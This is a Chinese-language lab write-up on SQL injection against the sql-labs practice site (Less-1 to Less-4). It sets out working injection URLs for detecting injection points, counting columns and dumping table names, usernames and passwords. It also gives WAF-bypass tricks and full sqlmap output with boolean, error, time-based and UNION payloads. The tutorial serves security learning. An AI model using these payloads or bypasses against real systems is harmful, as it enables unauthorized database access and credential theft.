【CTF-WEB-SQL】SQL注入基本流程(sql-labs的Less1-4)(最简单数字型、字符型、括号型的注入查看username和password)
实验环境:
sql-labs的Less1、Less2、Less3、Less4
SQL注入漏洞检测与利用流程
步骤一:初步检测(判断是否存在注入点)
原始请求
http://223.112.39.132:35335/Less-1/?id=1 # 记录正常响应
数字型注入测试
- 恒真条件(正常应为原始页面)
http://223.112.39.132:35335/Less-1/?id=1 and 1=1
-
恒假条件(存在漏洞时返回异常:空白页/错误)
http://223.112.39.132:35335/Less-1/?id=1 and 1=2
下面这个是不存在数字型注入的页面
下面这个是存在数字型注入的页面http://223.112.39.132:35335/Less-2/?id=1 and 1=2
结论:
1=1
正常 +1=2
异常 → 数字型注入(参数无引号包裹)- 两者行为相同 → 进入步骤1.3
字符串型注入测试
- 恒真条件(闭合引号并注释)
http://223.112.39.132:35335/Less-1/?id=1' and '1'='1' --+
> 注:--+ 是注释符,屏蔽原SQL语句的剩余部分。
- 恒假条件
http://223.112.39.132:35335/Less-1/?id=1' and '1'='2' --+
结论:
'1'='1'
正常 +'1'='2'
异常 → 字符串型注入(参数有单引号包裹)
引号验证(辅助判断)
http://223.112.39.132:35335/Less-1/?id=1' # 若返回SQL语法错误 → 确认字符串型
带闭合的注入测试
- 恒真条件(闭合引号并注释)
http://223.112.39.132:40693/Less-3/?id=1') and 1=1--+
- 恒假条件
http://223.112.39.132:35335/Less-1/?id=1' and '1'='2' --+
带闭合的双引号注入测试
- 恒真条件(闭合引号并注释)
http://223.112.39.132:58973/Less-4/?id=1") and 1=1--+
- 恒假条件
http://223.112.39.132:58973/Less-4/?id=1") and 1=2--+
步骤二:确定字段数(为UNION注入铺路)
下方步骤二到七,全部都是按字符串注入点处理
- 如果为数字型注入点,那么,
id=1'
后面的'
去掉即可,如http://223.112.39.132:35335/Less-2/?id=1 order by 3
;- 如果为闭合注入,则在
id=1'
后面加上括号)
,如:http://223.112.39.132:58973/Less-3/?id=1') order by 3 --+
- 如果为闭合双引号注入,则在
id=1
后面加上括号")
,如:http://223.112.39.132:58973/Less-4/?id=1") order by 3 --+
使用 ORDER BY
探测字段数:
http://223.112.39.132:35335/Less-1/?id=1' order by 1 --+ # 正常
http://223.112.39.132:35335/Less-1/?id=1' order by 2 --+ # 正常
http://223.112.39.132:35335/Less-1/?id=1' order by 3 --+ # 正常
http://223.112.39.132:35335/Less-1/?id=1' order by 4 --+ # 异常 → 字段数=3
关键:当页面异常时,字段数 = 最后成功的
order by N
中的N
步骤三:验证字段输出位置
通过 UNION SELECT
定位页面中显示数据的字段:
http://223.112.39.132:35335/Less-1/?id=-1'
union select 1,2,3 --+ # 页面中显示数字2和3 → 第2、3字段可输出数据
技巧:
id=-1
确保原查询无结果,强制显示UNION数据
步骤四:提取数据库关键信息
利用可输出字段获取元数据:
http://223.112.39.132:35335/Less-1/?id=-1'
union select 1, version(), database() --+
- 输出示例:
version() → 10.1.19-MariaDB database() → security
常用函数:
user()
:当前数据库用户@@datadir
:数据库存储路径database()
:当前数据库名称
步骤五:获取所有表名
http://223.112.39.132:35335/Less-1/?id=-1'
union select 1, group_concat(table_name),3
FROM information_schema.tables
WHERE table_schema=database() --+
输出示例:
emails,referers,uagents,users
group_concat(table_name):将table_name这列合并为一个字符串进行输出
步骤六:获取目标表的字段名
http://223.112.39.132:35335/Less-1/?id=-1'
union select 1, group_concat(column_name),3
FROM information_schema.columns
WHERE table_name='users' --+ # 替换目标表名
输出示例:
USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
补充
还有一种查询方法(当第一种查询方法,没有得到想要的列名时):
http://223.112.39.132:35335/Less-1/?id=-1'
union select 1, group_concat(column_name),3
FROM information_schema.columns
WHERE table_schema=database() --+
第一个查询
SELECT group_concat(column_name)
FROM information_schema.columns
WHERE table_name='user'
结果:返回的是MySQL系统表mysql.user
的列名(包含Host,User,Password等)
原因:information_schema.columns
包含所有数据库的所有表结构信息。当只指定table_name='user'
而没有限定数据库时,它会返回所有数据库中名为user
的表的列名(包括系统表)
第二个查询
SELECT group_concat(column_name)
FROM information_schema.columns
WHERE table_schema=database()
结果:返回的是当前数据库(你连接的数据库)中所有表的列名(id,content,time,flag,gname等)
原因:table_schema=database()
限定了只查看当前数据库的表结构信息
关键区别
查询条件 | 作用范围 | 结果 |
---|---|---|
table_name='user' | 所有数据库中的user表 | 包含系统表mysql.user的列名 |
table_schema=database() | 仅当前数据库的所有表 | 只包含应用数据库的表结构 |
步骤七:拖取敏感数据,如用户名
http://223.112.39.132:35335/Less-1/?id=-1'
union select 1, group_concat(username), group_concat(password)
FROM users --+
输出示例:
Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin
Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin
高级技巧与工具
绕过过滤
当遇到浏览器过滤空格、关键词拦截、WAF拦截时的替代方案:
过滤类型 | 绕过方法 | 示例 |
---|---|---|
空格过滤 | 用/**/ 或%09 (Tab)替代 | ?id=1'/**/union/**/select |
关键词拦截 | 大小写混合或双写关键词 | UnIoN sElEcT 或 UNIUNIONON |
WAF拦截 | 分块传输编码/HEX编码 | 使用Burp Suite的"Chunked"插件 |
自动化工具(sqlmap)
基础检测
sqlmap -u "http://223.112.39.132:35335/Less-1/?id=1" --batch
┌──(kali㉿kali)-[~/Desktop]
└─$ sqlmap -u "http://223.112.39.132:35335/Less-1/?id=1" --batch_____H_____ ___[,]_____ ___ ___ {1.9.4#stable}
|_ -| . [(] | .'| . |
|___|_ [.]_|_|_|__,| _||_|V... |_| https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 23:03:34 /2025-07-19/[23:03:34] [INFO] testing connection to the target URL
[23:03:34] [INFO] checking if the target is protected by some kind of WAF/IPS
[23:03:34] [INFO] testing if the target URL content is stable
[23:03:34] [INFO] target URL content is stable
[23:03:34] [INFO] testing if GET parameter 'id' is dynamic
[23:03:35] [INFO] GET parameter 'id' appears to be dynamic
[23:03:35] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[23:03:35] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[23:03:35] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[23:03:35] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:03:35] [WARNING] reflective value(s) found and filtering out
[23:03:35] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="Your")
[23:03:35] [INFO] testing 'Generic inline queries'
[23:03:35] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[23:03:35] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[23:03:35] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[23:03:35] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[23:03:35] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[23:03:36] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[23:03:36] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[23:03:36] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[23:03:36] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[23:03:36] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[23:03:36] [INFO] testing 'MySQL inline queries'
[23:03:36] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[23:03:36] [WARNING] time-based comparison requires larger statistical model, please wait..... (done)
[23:03:36] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[23:03:36] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[23:03:36] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[23:03:36] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[23:03:36] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[23:03:36] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[23:03:45] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[23:03:45] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[23:03:45] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[23:03:45] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[23:03:46] [INFO] target URL appears to have 3 columns in query
[23:03:46] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 50 HTTP(s) requests:
---
Parameter: id (GET)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: id=1' AND 3864=3864 AND 'rqeZ'='rqeZType: error-basedTitle: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)Payload: id=1' AND (SELECT 5144 FROM(SELECT COUNT(*),CONCAT(0x71716b6a71,(SELECT (ELT(5144=5144,1))),0x71707a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'kgPa'='kgPaType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: id=1' AND (SELECT 4985 FROM (SELECT(SLEEP(5)))YYIt) AND 'cjYv'='cjYvType: UNION queryTitle: Generic UNION query (NULL) - 3 columnsPayload: id=-7609' UNION ALL SELECT NULL,CONCAT(0x71716b6a71,0x477248774f4c4e444272434a6b5347656e5071505345584b44586671446f6844534d42674f62516c,0x71707a7171),NULL-- -
---
[23:03:46] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.6.28, Apache 2.4.23
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[23:03:46] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/223.112.39.132'[*] ending @ 23:03:46 /2025-07-19/
这段输出是 sqlmap
工具对目标网站进行 SQL注入漏洞测试 的详细过程记录。以下是关键信息的中文解析:
基础信息
- 目标URL:
http://223.112.39.132:35335/Less-1/?id=1
- 测试参数: GET 参数
id
- 工具:
sqlmap
(版本 1.9.4) - 运行模式:
--batch
(自动模式,跳过用户交互确认)
测试流程与结果
-
目标环境检测:
- 目标网站内容稳定,无干扰。
- 参数
id
存在动态响应(可能受输入影响)。 - 初步判断后端数据库为 MySQL。
-
漏洞确认:
- 通过多种注入技术测试,确认
id
参数存在 4种类型的SQL注入漏洞:- 布尔盲注 (
AND boolean-based blind
)
攻击者通过真假条件差异推断数据
✅ 有效载荷示例:id=1' AND 3864=3864 AND 'rqeZ'='rqeZ
- 报错注入 (
error-based
)
利用数据库报错信息泄露数据
✅ 有效载荷示例:id=1' AND (SELECT ... FLOOR(RAND(0)*2)) ...
- 时间盲注 (
time-based blind
)
通过延时响应(如 SLEEP(5))判断注入结果
✅ 有效载荷示例:id=1' AND (SELECT 4985 FROM (SELECT(SLEEP(5))) ...
- 联合查询注入 (
UNION query
)
直接通过 UNION 查询获取数据
✅ 有效载荷示例:id=-7609' UNION ALL SELECT NULL,CONCAT(...),NULL-- -
- 布尔盲注 (
- 通过多种注入技术测试,确认
-
数据库与服务器信息:
- 数据库类型: MySQL (兼容 MariaDB,版本 ≥ 5.0)
- Web技术: PHP 5.6.28 + Apache 2.4.23
- 查询字段数: 3 列(通过 UNION 注入技术确认)
风险总结
- 高危漏洞:攻击者可通过此注入点:
- 窃取数据库敏感信息(用户数据、密码哈希等)。
- 执行任意数据库操作(增删改查)。
- 尝试服务器提权或进一步渗透内网。
- 漏洞位置: GET 请求中的
id
参数未做安全过滤。
输出中的关键术语
术语 | 解释 |
---|---|
boolean-based blind | 布尔盲注(通过页面真假状态差异获取数据) |
error-based | 报错注入(触发数据库报错泄露信息) |
time-based blind | 时间盲注(通过响应延迟判断注入结果) |
UNION query | 联合查询注入(直接拼接查询结果) |
Payload | 用于触发漏洞的恶意输入 |
WAF/IPS | 防火墙/入侵防御系统(本次未检测到) |
--batch | 自动模式(无需人工确认选项) |
获取所有数据
sqlmap -u "http://223.112.39.132:35335/Less-1/?id=1" --dump-all
内容太多,不再进行结果分析
法律声明:本文仅用于授权测试,严禁未授权渗透(测试IP
223.112.39.132
为公开靶场SQLi Labs)。